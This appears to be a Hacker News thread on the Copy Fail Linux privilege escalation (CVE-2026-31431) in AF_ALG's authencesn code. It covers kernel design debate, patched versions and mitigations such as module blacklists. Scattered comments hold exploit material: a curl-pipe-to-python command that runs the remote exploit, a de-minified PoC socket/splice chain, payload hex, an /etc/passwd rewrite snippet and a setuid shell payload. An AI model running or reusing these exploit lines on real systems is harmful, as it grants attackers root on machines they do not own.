The algorithm being used in this exploit, "authencesn", is even an IPsec implementation detail, which never should have been exposed to userspace as a general-purpose en/decryption API.
If you're in charge of the configuration for a Linux kernel, I strongly recommend disabling all CONFIG_CRYPTO_USER_API_* kconfig options. This would have made this bug, and also every past and future AF_ALG bug, unexploitable. In the unlikely event that you find that it breaks any userspace programs on your system, please help migrate them to userspace crypto code! For some it's already been done. But in general, AF_ALG has actually never been used much in the first place, other than in exploits.
I don't think there's much other option. This sort of userspace API might have been sort of okay many years ago. But it just doesn't stand up in a world with syzbot, LLM-assisted bug discovery, etc.
https://www.chronox.de/libkcapi/html/ch01s02.html
It states the following:
> There are several reasons for AF_ALG:
> * The first and most important item is the access to hardware accelerators and hardware devices whose technical interface can only be accessed from the kernel mode / supervisor state of the processor. Such support cannot be used from user space except through AF_ALG.
> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information from its memory and just use the cipher handle to perform the cryptographic operations. If the application is cracked an attacker cannot obtain the key material.
> * On memory constrained systems like embedded systems, the additional memory footprint of a user space cryptographic library may be too much. As the kernel requires the kernel crypto API to be present, reusing existing code should reduce the memory footprint.
I can't judge whether this is a good justification, but there is one.
There's a weird area between the workloads that fit on a microcontroller, and the stuff that demands a full-blown CPU. Think softcore processors on FPGAs, super tiny MIPS and RISC-V cores on an ASIC, etc. Typically you run something like Yocto on a core like that. Maybe MontaVista or QNX if you've got the right nerd running the show.
So you have serious compute needs, and security concerns that justify virtual memory. But you don't have infinite space to work with, so hardware acceleration is important. Having a standard API built into the kernel seems like a decent idea I guess.
And yet, I've never heard of AF_ALG. I've never seen it used. The thing is, if you have some bizzaro softcore, there's a good chance you also have a bizzaro crypto engine with no upstream kernel driver. If you're going to the trouble of rolling your own kernel with drivers for special crypto engines, why would you bother hooking it into this thing? Roll your own API that fits your needs and doesn't have a gigantic attack surface.
So grain of salt.
I've liked it nevertheless for context, as augmentation to parent's post.
Check if the following are modules
grep CONFIG_CRYPTO_USER_API /boot/config-$(uname -r)
/etc/modprobe.d/blacklist-crypto-user-api.conf
"""
blacklist af_alg
blacklist algif_hash
blacklist algif_skcipher
blacklist algif_rng
blacklist algif_aead
install af_alg /bin/false
install algif_hash /bin/false
install algif_skcipher /bin/false
install algif_rng /bin/false
install algif_aead /bin/false
"""
update-initramfs -u
To be clear, general-purpose Linux distros generally can't disable these kconfig options yet, due to these cases. But there are many Linux systems that simply don't need this functionality.
A good project for someone to work on would be to fix iwd and cryptsetup to always use userspace crypto, as they should.
Just reboot after applying this change.
zgrep CONFIG_CRYPTO_USER_API /proc/config.gzSo the options related to AF_ALG have always been disabled, because I have not encountered an application that needs them, among those that I use.
Unfortunately the Linux distributions must enable in their default configuration most options, because they cannot predict what their users will need.
> syzbot system continuously fuzzes main Linux kernel branches and automatically reports found bugs to kernel mailing lists. syzbot dashboard shows current statuses of bugs. All syzbot-reported bugs are also CCed to syzkaller-bugs mailing list. Direct all questions to syzkaller@googlegroups.com.
https://blog.cloudflare.com/the-linux-kernel-key-retention-s...
https://www.youtube.com/watch?v=7djRRjxaCKk
https://www.youtube.com/watch?v=lvZaDE578yc
So it's not as simple as "should not exist". I agree though that there doesn't seem to be a valid need to expose authencesn to user space.
Disclosure: I'm co-maintaining crypto/asymmetric_keys/ in the kernel and the author/presenter in the first two links is another co-maintainer.
The fact that the first link recommends using keyctl() for RSA private keys is also "interesting", given that the kernel's implementation of RSA isn't hardened against timing attacks (but userspace implementations of RSA typically are).
It's unfortunate though since this is one thing I think Windows does decently well. The Windows crypto and TLS APIs do use a key isolation process by default (LSASS) and have a stable interface for other processes to use it [0]. I imagine systemd could implement something similar, but I also know that there are very strong opinions about adding more surface area to systemd.
[0] https://blackhat.com/docs/us-16/materials/us-16-Kambic-Cunni...
Cloudflare is using custom BoringSSL-based crypto code in the kernel:
https://lore.kernel.org/all/CALrw=nEyTeP=6QcdEvaeMLZEq_pYB9W...
A lack of adoption isn't apriori a good argument against an interface, and serious bugs can happen anywhere.
My personal opinion for a while has been that crypto operations should be in the kernel so we can end the madness that is every application shipping it's own crypto and trust system which has only gotten worse since containers were invented.
To steal from the sibling post:
> * When using user space libraries, all key material and other cryptographic sensitive parameters remains in the calling application's memory even when the application supplied the information to the library. When using AF_ALG, the key material and other sensitive parameters are handed to the kernel. The calling application now can reliably erase that information [...]
It's even more than this: you can do crypto ops in user space without ever even having the key to begin with.
[Ed.: that said, maybe AF_ALG should be locked behind some CAP_*]
[Ed.#2: that said^2, I'm putting this one on authencesn, not AF_ALG. It's the extended sequence number juggling that went poorly, not AF_ALG at large. I bet this might even blow up in some strange hardware scenarios, "network packet on PCIe memory" or something like that - I'm speculating, though.]
https://github.com/opensourcerouting/frr/blob/2b48e4f97fb021...
And, sure, if it breaks system security it's pointless. But so did "dirty pipe".
I do agree the number of issues in AF_ALG is annoying, which is why I suggested a CAP_* restriction. Maybe CAP_SYS_ADMIN in init_ns, that's kinda the big hammer.
However,
> it should be accessed from user space by a process with the appropriate token.
That is AF_ALG. The operations it offers are what you need for full coverage. The issues with it are two:
- usage specific crypto in the kernel implements the same interfaces, and it doesn't have a filter for that, as mentioned above. It's not offering too many operations, it's offering too many algorithms.
- it's trying to be fast. I guess people also want to use crypto accelerators through it. (Which is kinda related to TPMs, there is accelerator hardware with built-in protected key storage...)
The CVE we're looking at here is in the intersection of both of these.
The more I think about it, the more I think it should be behind CAP_SYS_ADMIN, or a new CAP_KCRYPT (better name TBD. CAP_CRYPT_OFFLOAD?)
Now, is your comment contributing more to this discussion, or mine?
Linux distros go to market as maximally capable, maximally interoperable, and maximally available for whatever the users want to do. So there is a lot of "shovelware" that is unnecessarily installed with your base system. A lot of services are enabled that you don't need. A lot of kernel modules are loaded or ready to spring into action as soon as you connect hardware that the kernel recognizes.
All this maximizing also increases the system's attack surface, whether local or over the network. Your resources, time and effort increase, to update the system and maintain all those packages. The TCO is high.
With OpenBSD, the base system is hardened and the code is audited with security in mind. They only install or enable essential functions. So it's up to the user to dig in, customize it, and add in features that are needed.
The good news is that you can do some after-market hardening. Uninstall software that you're not using, and disable non-essential services. Tune your kernel for special-purpose, or general-purpose, but not every-purpose.
There are now special distros for containers and VMs with minimal system builds. They are designed to be as small and lightweight as possible. That is a good start in the right direction.
That said, elsewhere ITT it's pointed out there are only a few use cases so far.
Would be an interesting story.
I think cryptsetup / LUKS also requires it with some non-default options. With the default options, it works fine with the kconfigs disabled.
There's not much else, as far as I know. Normally programs just use a userspace library instead, such as OpenSSL.
https://access.redhat.com/security/cve/cve-2026-31431 "Moderate severity", "Fix deferred"
https://security-tracker.debian.org/tracker/CVE-2026-31431
https://ubuntu.com/security/cves/about#priority
> Medium: A significant problem, typically exploitable for many users. Includes network daemon denial of service, cross-site scripting, and gaining user privileges.
> High: A significant problem, typically exploitable for nearly all users in a default installation of Ubuntu. Includes serious remote denial of service, local root privilege escalations, local data theft, and data loss.
mystifying to me that shared, multi-user machines are not thought of. for instance, I administer a system with 27k users - people who can login. even if only 1/10,000 of them are curious/malicious/compromised, we (Canadian national research HPC systems) are at risk. yes, this is somewhat uncommon these days, when shell access is not the norm.
but consider the very common sort of shared hosting environment: they typically provide something like plesk to interface to shared machines with no particular isolation. can you (as a website owner or 0wner) convince wordpress/etc to drop and execute a script? yep.
For example, if you have passwordless sudo, you've already got a widely known LPE vulnerability lurking on your system.
Realistically a "sudo button" would be handy, on the keyboard, with a display to show a confirmation pin for the request (probably also needs a deny button so you can try and identify weird ones).
This stance doesn't seem sustainable any more to me.
The stance was never sustainable, hence linux LPEs being constantly available. The solution is to treat your kernel as impossible to secure. Notably, gvisor users are not impacted by this CVE. Seccomp also kills this CVE.
Update: Just tried it on Termux and as expected even creating an AF_ALG socket requires root access.
I was wondering if I was vulnerable running Fedora 44, kernel 6.19.14, and after a few minutes of digging I was able to find the linux-cve-announce mailing list post: https://lore.kernel.org/linux-cve-announce/2026042214-CVE-20... which says:
...fixed in 6.18.22 with commit fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8
...fixed in 6.19.12 with commit ce42ee423e58dffa5ec03524054c9d8bfd4f6237
...fixed in 7.0 with commit a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
python3 -c 'import socket; s = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0); s.bind(("aead","authencesn(hmac(sha256),cbc(aes))")); print("algif_aead probably successfully loaded, mitigation not effective; remove again with: rmmod algif_aead")'
modprobe algif_aead
modprobe algif_aead
modprobe: FATAL: Module algif_aead not found in directory /lib/modules/6.14.3-x86_64-linode168
As of now the submission title is simply “Copy Fail”.
Given the severity of the exploit, can we edit the Title to add some context that it’s a major Linux vulnerability?
Eg the other submissions say this : “Copy Fail: 732 Bytes to Root on Every Major Linux Distribution.”
- buy a domain
- vibe code a page/artifact/whatever (which, given the quality of LLM wordings, only makes an argument less strong)
- post it on HN with no further explanation in the title
Why not write a detailed report? Even a tweet makes much more sense in my head than this. Even a logo??
Sorry if this comes over as salty, I guess I'm just not getting the thought process.
I think we should be celebrating people hosting their own content on their own website instead of just posting on some social media site.
Then it's syndicate everywhere.
But all roads lead back to the domain.
This site though is pretty useful; first it serves as a central location to point people to with short links in chats/emails/whatever, then it has a quick visual explainer and a link to the detailed technical report for those who want more info. Pretty neat.
Last but not least, buying the domain must have taken 5 minutes, prompting the page must have taken 30 minutes and posting it on HN must have taken 1 minute. So it certainly wasn't a lot of work in the grand scheme of things and probably did not deter the team from doing other important things.
Too many darn acronyms. This one wasn't too hard to figure out from context but I wish people would define acronyms before using them!
I agree that it would be a good idea to define it explicitly when writing for a broader audience, but I don't think it's particularly egregious that they didn't. It's certainly something I could see myself forgetting.
Then again, the whole writeup appears to be AI-generated, so...
So what's missing is that keeping up-to-date with CVEs is important and some CVEs are Internet-nerd famous. Remember Heartbleed? Even some casual gamers I know had heard of it. And everyone who's mildly serious about sysadmin knows you want to defensively keep systems patched against important CVEs. The second layer of that, what the exploits actually are or do, is a second-layer term of art, one that one might miss the jargon for even if one has familiarity with the concepts.
To me, the fact that the page is obviously AI-assisted is way more upsetting than some guy not knowing what an acronym means. There's something about AI prose that is just so fucking tedious. It makes the mind glaze over.
I obviously do not expect someone who has merely heard of various CVEs before to know anything about the contents of those CVEs. The other poster said they had "read many CVEs", which I took to mean they have read many CVE disclosures, where the term is extremely common. Perhaps they meant that they've read about CVEs, in which case I can see why the term would not be on their radar.
Back in the day those of us breaking into shitty php sites didn't use LPE, we used "privesc", IIRC.
If you type "LPE" into English Wikipedia's search bar, and press "Enter", you'll be sent to a disambiguation page which contains a link to the relevant article.
Imagine we would download random code from the internet and just execute it, like with NPM, PIP, Maven, Cargo etc.
So here the next-best thing I found: Disable AF_ALG via systemd. Needs drop-ins for all exposed services. Here an Ansible playbook that covers ssdh and user@, which are the main ones usually.
https://gist.github.com/m3nu/c19269ef4fd6fa53b03eb388f77464d...
On Debian normal unloading of the module works.
`/etc/systemd/system/service.d/${...}.conf`
I think this is what you're looking for.
> Update your distribution's kernel package to one that includes mainline commit a664bf3d603d
But it isn't very clear to me what Kernel version you can expect that to be in. For Arch/CachyOS, the patch seems to be included in 6.18.22+, 6.19.12+ and 7.0+. If you're on any of the lower versions in the same upstream stable series, you're likely vulnerable right now. Some distro kernels may include the fix in other versions, so check for your distribution.
https://github.com/torvalds/linux.git
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git as remotes:
git log --all --grep 'crypto: algif_aead - Revert to operating out-of-place' '--format=%H' | xargs -I '{}' git tag --contains '{}' | sort -u
v6.18.22
v6.18.23
v6.18.24
v6.18.25
v6.19.12
v6.19.13
v6.19.14
v7.0
v7.0.1
v7.0.2
v7.0-rc7
v7.1-rc1https://github.com/torvalds/linux/commit/a664bf3d603d
6.18.25-gentoo-x86_64 has the patch for Gentoo.
https://security-tracker.debian.org/tracker/CVE-2026-31431
https://ubuntu.com/security/CVE-2026-31431
Also, disabling algif_aead is suggested as mitigation
> Before you can patch: disable the algif_aead module.
> echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
> rmmod algif_aead 2>/dev/null || true
Edit: and I can confirm that on my system with kernel 6.19.8 the above fixes the exploit.
Linux wsl2 6.6.87.2-microsoft-standard-WSL2 ...
Outside of WSL2, the mitigation does appear to work though.
zgrep CRYPTO_USER_API_AEAD /proc/config.gz /boot/config-*
CONFIG_CRYPTO_USER_API_AEAD=m
[module_request] pid=3648 comm=python name=algif-aead
[umh_setup] pid=3648 comm=python path=/sbin/modprobe argv0=/sbin/modprobe argv1=-q argv2=-- argv3=algif-aead argv4=
[openat] pid=3688 file=/etc/ld.so.cache
[openat] pid=3688 file=/lib/liblzma.so.5
[openat] pid=3688 file=/lib/libz.so.1
[openat] pid=3688 file=/lib/libgcc_s.so.1
[openat] pid=3688 file=/lib/libc.so.6
[openat] pid=3688 file=/etc/modprobe.d
[openat] pid=3688 file=/lib/modprobe.d
[openat] pid=3688 file=/lib/modprobe.d/dist-blacklist.conf
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.softdep
[openat] pid=3688 file=/lib/modprobe.d/systemd.conf
[openat] pid=3688 file=/etc/modprobe.d/usb.conf
[openat] pid=3688 file=/proc/cmdline
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.dep.bin
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.alias.bin..
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.symbols.b..
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.builtin.a..
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/modules.builtin.b..
[openat] pid=3688 file=/sys/module/algif_aead/initstate
[openat] pid=3688 file=/sys/module/af_alg/initstate
[openat] pid=3688 file=/sys/module/algif_aead/initstate
[openat] pid=3688 file=/lib/modules/6.6.87.2-microsoft-standard-WSL2/kernel/crypto/alg..
[finit_module] pid=3688 comm=modprobe fd=0 flags=0
[module_load] pid=3688 comm=modprobe name=algif_aead
The mystery is why.
I ran the exploit in rootless Podman, and predictably it doesn't escape the container.
They also claim their script "roots every Linux distribution shipped since 2017.", but only tested four; and it doesn't work on Alpine
they state that the write-up is forthcoming. presumably there is some additional steps or modifications that will be detailed in the 'part 2'.
"Next: "From Pod to Host," how Copy Fail escapes every major cloud Kubernetes platform."
The details will depend on whether the kernel is a newer release or a maintenance version of an older release.
They've done themselves no favours at all with their write up.
It does seem legitimate (I was able to use the PoC on a 24.04 instance), and seems like it should be a big deal, but the actual number of affected distributions seems way lower, and not even remotely as per their claim every distribution since 2017.
For example with Ubuntu, if I'm reading it right there's some impact in 16.04 (EOL), but then at least as per their analysis, only the vendor specific 6.17 kernels they ship that have it (e.g. linux-gcp, linux-oracle-6.7 etc.). That's a relatively new kernel version they started shipping recently, after it was released upstream last September.
$ sesearch -A -c alg_socket -p createallow bluetooth_t bluetooth_t:alg_socket { accept append bind connect create getattr getopt ioctl listen lock read setattr setopt shutdown write };
allow container_device_plugin_init_t container_device_plugin_init_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_device_plugin_t container_device_plugin_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_device_t container_device_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_engine_t container_engine_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_init_t container_init_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_kvm_t container_kvm_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_logreader_t container_logreader_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_logwriter_t container_logwriter_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_t container_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow container_userns_t container_userns_t:alg_socket { accept append bind connect create getattr getopt ioctl lock map read setattr setopt shutdown write };
allow openshift_app_t openshift_app_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write };
allow openshift_t openshift_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write };
allow spc_t unlabeled_t:alg_socket { append bind connect create getattr getopt ioctl lock read setattr setopt shutdown write };
allow staff_t staff_t:alg_socket { append bind connect create getopt ioctl lock read setattr setopt shutdown write };
allow sysadm_t sysadm_t:alg_socket { accept append bind connect create getopt ioctl listen lock read setattr setopt shutdown write };
allow unconfined_domain_type domain:alg_socket { accept append bind connect create getattr getopt ioctl listen lock map name_bind read recv_msg recvfrom relabelfrom relabelto send_msg sendto setattr setopt shutdown write };
allow user_t user_t:alg_socket { append bind connect create getopt ioctl lock read setattr setopt shutdown write };
(Maybe you & others are specifically thinking of Android's policy?)
>Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel. any user becomes root
jumped out of bed and went straight into webminal.org servers as local user and ran the python code. It says permission denied on sock() call.
Then I tested with local laptop with it:
```
$ uname -a
Linux debian 6.12.43+deb12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.43-1~bpo12+1 (2025-09-06) x86_64 GNU/Linux
$ python3 copy_fail_exp.py
# cd /root && ls
bluetooth_fix_log.txt dead.letter overcommit_memorx~ overcommit_memory~ overcommit_memorz~ resize.txt snap
```
It does provide the root access!
They are probably Ubuntu 24 but don't remember.
setuid(0);
execve("/bin/sh", NULL, NULL);
exit(0);EDIT: Sorry, I failed at reading your message. Never mind.
Does this mean you can go from a basic web shell from a shared hosting account to root? I can see how that could wreak havoc really quickly.
You can also call it Debian 13.
Anyone who knows anything about this subject immediately understands what is connoted by "Debian Stable". I run Trixie on most of my personal boxes and I had no idea what version number it is, nor do I particularly care.
It's not that hard to find though:
$ cat /etc/debian_version
13.4 $ stat /bin/su
File: /bin/su
Size: 59552 Blocks: 118 IO Block: 59904 regular file
Device: 0,52 Inode: 796854 Links: 1
Access: (4711/-rws--x--x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2023-09-18 13:23:03.117105665 -0500
Modify: 2021-02-13 05:15:56.000000000 -0600
Change: 2023-09-18 13:23:03.119105665 -0500
Birth: 2023-09-18 13:23:03.117105665 -0500
Think modifying shared libraries, ld preload, cron, I guess on some systems /etc/passwd even.
There are a lot of files readable that should definitely not be writable.
f=g.open("/etc/passwd",0);
e="rkeene:x:0:0:System administrator:/root:/run/current-system/sw/bin/bash\n".encode()
...
g.system("/run/wrappers/bin/su - rkeene")https://github.com/anthropics/claude-code/issues/40741 (gcc version "Red Hat 14.3" included in system version at the bottom)
https://docs.oracle.com/en/database/oracle/tuxedo/22/otxig/s...
Why marketing though?
(You're not alone in this, BTW; I don't mean to single you out.)
> and yes, RHEL 14.3 doesn't exist We meant to say RHEL 10.1. Sorry for the confusion!
It's ironic that the one thing LLMs can't do reliably in this space is "write copy for humans" (I don't trust them for that either).
Kind of funny to do something impressive and then ignore the details on the presentation, but perhaps that's not uncommon for security researchers?
Unfortunately it fails on calling bind() on my device, so probalby Android doesn't ship with that kenrel module by default :(. So no freedom for my $40 phone.
Putting it out here, maybe somebody else will have better luck.
[1] https://gist.github.com/alufers/921cd6c4b606c5014d6cc61eefb0...
adb shell zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_USER_API_RNG is not set
# CONFIG_CRYPTO_USER_API_AEAD is not set File "/data/data/com.termux/files/home/a.py", line 5, in c
a=s.socket(38,5,0); # ...
File "/data/data/com.termux/files/usr/lib/python3.13/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
PermissionError: [Errno 13] Permission deniedTraceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 8, in <module> f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) ^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'
Traceback (most recent call last): File "/data/data/com.termux/files/home/exploit.py", line 9, in <module> while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/home/exploit.py", line 5, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^ File "/data/data/com.termux/files/usr/lib/python3.12/socket.py", line 233, in __init__ _socket.socket.__init__(self, family, type, proto, fileno) PermissionError: [Errno 13] Permission denied
(HN algorithms have killed some of your comments, perhaps because you posted the same URL too many times from a relatively new account? I’ve vouched for you, but keep in mind that it triggers antispam.)
---
Edit: naturally, no luck:
$ ./exploit /system/bin/ping
[+] target: /system/bin/ping
[+] payload: 2112 bytes (528 iterations)
socket(AF_ALG): Permission denied
patch_chunk failed at offset 0
Not using setuid anywhere means you'd have to build a slightly more clever exploit, but it's still trivial - just modify some binary you know will run as root "soon".
But... I didn't check, but IIRC the untrusted_app secontext that apps run in is not allowed to open AF_ALG sockets - so you can't directly trigger the vulnerability as a malicious app. Although it might be possible in some roundabout way (requesting some more privileged crypto service to do so).
~~My allegedly fully patched pixel 8 pro allowed an AF_ALG socket to open under termux without virtualization so I'm not sure the last but is true~~
Got:
OSError: [Errno 97] Address family not supported by protocol
Edit:
Looks like on Arch you have to go out of your way to have this enabled.
$ zcat /proc/config.gz | grep CONFIG_CRYPTO_USER_API
CONFIG_CRYPTO_USER_API=m
CONFIG_CRYPTO_USER_API_HASH=m
CONFIG_CRYPTO_USER_API_SKCIPHER=m
CONFIG_CRYPTO_USER_API_RNG=m
# CONFIG_CRYPTO_USER_API_RNG_CAVP is not set
CONFIG_CRYPTO_USER_API_AEAD=m
# CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set
$ uname -r
6.12.63-1-lts curl https://copy.fail/exp | python3 && su
Traceback (most recent call last):
File "<stdin>", line 9, in <module>
File "<stdin>", line 5, in c
AttributeError: module 'os' has no attribute 'splice'
Edit: python3 is python 3.6 on my system. Runnung with python3.10 instantly roots. Crazy find!
Looking at their source code [1] it starts with this simple line:
import os as g,zlib,socket as s
And already I'm perplexed. "os as g"? but we're not aliasing "zlib as z"? Clearly this is auto-generated by some kind of minimizer? Likely because zlib is called only once, and os multiple times. As a code author/reviewer, I would never write "os as g" and I would absolutely never approve review of any code that used this.
Anyway, I could go on. :) Let's just stop fetishizing byte count
[1] https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
If you wanted real savings, you'd use "d=bytes.fromhex" instead of defining a function -- 17 bytes!! And d('00') -> b'\0' for -2 bytes.
We could easily get the byte count down further by using base64.b85decode instead of bytes.fromhex (-70 or so), but ultimately we're optimizing a meaningless metric, as you mention.
Where do you see this "fetishizing" happening most often? It's a strange thing to counter-fetishize about.
From a Busy Beaver, 256-bytes compo, or Dwitter perspective, 732 bytes isn’t really that meaningful.
And the sample exploit is even optimizing the byte size by using zlib compression, which doesn’t make much sense for the purpose. It just emphasizes the byte count fetishization.
But the fact that it's not a kernel-exec LPE and it's reliable across kernels and distributions is important; it's close to the maximum "exploitability" you're going to see with an LPE. Which the page does communicate effectively; it just gilds the lily.
But the bug is real and people should patch :)
For the size: sometimes people will shove in kilobytes of offset tables or something into an exploit, so it'll fingerprint and then look up details to work. This is much smaller because it doesn't need any of that, which is important for severity. (I agree the "golf" nature is a bit of an aside, kind of like pwn2own exploits taking "10 seconds")
Assuming AI was correct, it unpacks more or less like this
import os, zlib, socket
AF_ALG = 38
SOCK_SEQPACKET = 5
SOL_ALG = 279
def hex_bytes(x):
return bytes.fromhex(x)
sock = socket.socket(AF_ALG, SOCK_SEQPACKET, 0)
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
sock.setsockopt(SOL_ALG, 1, hex_bytes("0800010000000010" + "0" * 64))
sock.setsockopt(SOL_ALG, 5, None, 4)
op, _ = sock.accept()
length = offset + 4
zero = b"\x00"
op.sendmsg(
[b"A" * 4 + patch4],
[
(SOL_ALG, 3, zero * 4),
(SOL_ALG, 2, b"\x10" + zero * 19),
(SOL_ALG, 4, b"\x08" + zero * 3),
],
32768,
)
read_pipe, write_pipe = os.pipe()
os.splice(fd, write_pipe, length, offset_src=0)
os.splice(read_pipe, op.fileno(), length)
try:
op.recv(8 + offset)
except:
pass
payload = zlib.decompress(bytes.fromhex("..."))
offset = 0
while offset < len(payload):
trigger(target, offset, payload[offset:offset + 4])
offset += 4
"The honest solution: a clean 50-line cut" and so on, ad nauseam
How often do you review, and subsequently block the release, of PoCs in this sort of context? Sounds like you've faced this a lot.
I always thought code quality mattered less in those, as long as you communicate the intent.
If you have a choice between pointing out the byte size of the exploit, and not pointing out the byte size of the exploit, pointing it out is virtually always the wrong choice.
In both cases, doing the right thing is less work. So somebody is going the extra way to ensure they are doing it wrong. If they didn't care, they'd end up doing it right by default.
How does "import os as g" communicate the intent? How does hiding the payload behind zlib communicate the intent? This is the opposite: obfuscating the intent, so they can brag about 732 bytes instead of 846 bytes (or whatever it might have been).
It would have been less work for everyone involved to just release the unminified source.
"Just" is doing a lot of work there, I'm so annoyed reading it.
It's like an anti-ad and they had pretty cool material to work with.
* Claude loves stacatto "Some numeric figure. Something else. Intensifier" (ex. the "exploitable for a decade." or whatever sentences)
Then go on. zlib is only used once, so "zlib as z" in exchange for using z once doesn't get you anything. Using os directly and not renaming it g saves you 2 bytes though. But in this age where AI outputs reams of code at the drop of a hat, why shouldn't we enjoy how small you can get it to pop a root shell?
https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe...
edit: If we drop offset_src=0 and just pass in 0 positionally, it comes down to 720.
Because I want to know what the exploit is doing and how it works, and if it's even safe to run.
A privesc PoC is NOT the place for this kind of fun.
Which I guess is true but I would like to verify the attack is the intended one
lucky for them, its an exploit script, not enterprise code.
all that needs to be "reviewed" is whether or not it exploits the thing its supposed to.
edit: yall really think a 10-line proof of concept script needs to undergo a code review? wild. i shouldnt be surprised that the top comment on a cool LPE exploit is complaining about variable naming
Maybe you didn't care, but the length of this comment chain clearly shows that it matters. Effective communication is just as important as the engineering.
i just dont understand huffing and puffing over "os as g" in a 10-line poc script, and saying "well i would never approve this". its not enterprise code. its not code that will ever be used anywhere else, for anything. its sole purpose is to prove that the exploit is real, which it does!
the rest of the information is in the actual vulnerability report. the poc is a courtesy to the reportee, so that they can confirm that the report itself isnt bullshit.
evidently, given the downvotes i am getting, people think exploit scripts should be enterprise quality code. ¯\_(ツ)_/¯ half of the reports i see flowing through mailing lists dont even have a poc.
amazingly HN-like to be upset about a variable name
And this code is not readable at all. It is failing at letting people confirm the exploit easily.
that is contained in the report, which will look similar to the blog. the maintainers will have an open line of contact with the reporters as well. the poc is a small part of the entire report. its not like the linux maintainers only received this poc and have to work out the vulnerability from it alone.
>It is failing at letting people confirm the exploit easily.
it confirms the exploit incredibly easy. just run it, and you get confirmation.
For all I know the blog itself is a honey pot. I need to know what the code does before I run it.
its literally code meant to exploit your system. you should be running it in an environment built for that already.
you dont test exploit pocs on your daily driver.
i bet if i told you their names, you would instantly know what vulns those are.
its easier to talk about things with names. it hurts no one. it takes approximately no effort or time.
CVEs are, for whatever reason, like the only thing on the planet that people seem to have a problem with when they receive a name. i am not sure why.
What, you guys talk about books based on their “title” instead of just memorising the ISBN of each book? Pssh, count me disappointed!
I guess it’s a good thing I’m not a SovCit or I’d just have to call them Traveller Three and Traveller Four
Very few CVE’s get names dedicated to them like this, because usually when they do - it is very serious, as in this case.
1. Yes, it's real.
2. Current chain can write any arbitrary content to any user-readable file (into the page cache).
3. Current chain relies on an available target suid binary that you can open() as a lowpriv user.
4. Current exploit relies on that binary being /bin/su and then being able to execve(/bin/sh, 0, 0) (which doesn't work on alpine, etc.). The former is easily replaced in the code. The latter needs a rebuilt payload ELF (also easy).
5. The authors say they have other chains (including ones that allow container escapes). I believe them.
6. A mildly de-minified PoC for Alpine with a new payload ELF is at hackerspace[pl]/~q3k/alpine.py . You'll need /bin/ping from iputils. This should be now somewhat reliable on any distro that has a `/bin/sh` and any setuid-and-readable binary (you'll just need to find it on your own).
https://object.ceph-waw3.hswaw.net/mastodon-prod/media_attac...
https://github.com/bottlerocket-os/bottlerocket/security/adv...
Interesting detail. On Alpine, `/usr/bin/su` is not readable by any user, so the PoC doesn't work.
I suspect that the underlying issue can be exploited in other ways, but it makes me think that there's no reason for any suid binary to be world-readable.
On this bright side, does this mean Magisk is coming to all unpatched Android phones?
https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/m...
